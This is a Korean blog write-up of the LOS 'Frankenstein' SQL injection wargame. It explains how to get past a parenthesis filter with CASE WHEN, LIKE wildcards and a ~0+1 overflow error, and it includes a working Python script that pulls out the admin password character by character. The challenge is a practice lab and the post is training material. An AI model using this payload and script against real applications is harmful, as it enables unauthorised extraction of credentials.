2021. 2. 27. 04:19ㆍ정보보안/웹 해킹
28번 문제인 Frankenstein이다.
이 문제 또한 Blind SQL Injection 문제이며
preg_match 함수를 통해 다음과 같은 문자들을 필터링하고 있다.
괄호가 필터링되고 있기 때문에 여태까지 Blind SQL Injection을 위해 사용했었던 if(), ascii(), substring() 등의
함수들을 사용할 수 없다.
그래서 이 문제에서는 괄호가 들어가지 않는
case when 조건식 then [참일 경우 결과값] else [거짓일 경우 결과값] end 구문을 이용했으며
like 구문과 와일드 카드(%)를 적절히 사용해 문제를 해결했다
_(언더바) 또한 와일드 카드로 이용할 수 있지만 정규표현식에 의해 필터링 되고 있음
쿼리문은 다음과 같다
내가 찾아야 하는건 id가 admin일 경우의 pw이므로 id='admin' 을 통해 참을 만들어주고
pw like '%' 를 통해 비교하며
case 구문이 참일경우는 정상적으로 코드가 출력되게 하고
case 구문이 거짓일 경우엔 에러를 발생시키는 방법을 이용했다.
(괄호 없이)함수를 사용하지않고 에러를 발생시키는 방법은 9e307*2 혹은 ~0+1 등이 있는데 여기에선 ~0+1 방법을
이용했다.
import requests
URL = 'https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php' # 자신의 los 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': 'v49g0hp5hksf02hjh39iocgejt'} # 자신의 los 세션값 수동 입력
ascii_range = []
for i in range(48,58):
ascii_range.append(i)
for i in range(97,123):
ascii_range.append(i)
# 패스워드를 찾는 함수
def find_pw():
flag=''
while 1:
for ascii in ascii_range: # 아스키 코드값
value = "'or id='admin' and case when pw like '{}{}%' then 1 else ~0+1 end #".format(flag, chr(ascii))
parmas = {'pw':value }
response = requests.get(URL, params=parmas, cookies=cookies)
if '<br>error' not in response.text:
print("pw의",len(flag)+1,"번째는",chr(ascii), '입니다.')
flag += chr(ascii)
break
print("pw는", flag, "입니다.")
find_pw()
pw 의 길이가 몇인지 모르지만 pw의 8번째 이후로 더 응답이 없으므로 pw는 8자리라는것을 알 수 있다.
'정보보안 > 웹 해킹' 카테고리의 다른 글
wargame.kr - 2(flee button) (0) | 2021.02.27 |
---|---|
wargame.kr - 1(already got) (0) | 2021.02.27 |
LOS(The Lord of the SQLI) 27 - BLUE DRAGON (0) | 2021.02.25 |
LOS(The Lord of the SQLI) 26 - RED DRAGON (0) | 2021.02.25 |
LOS(The Lord of the SQLI) 25 - GREEN DRAGON (0) | 2021.02.25 |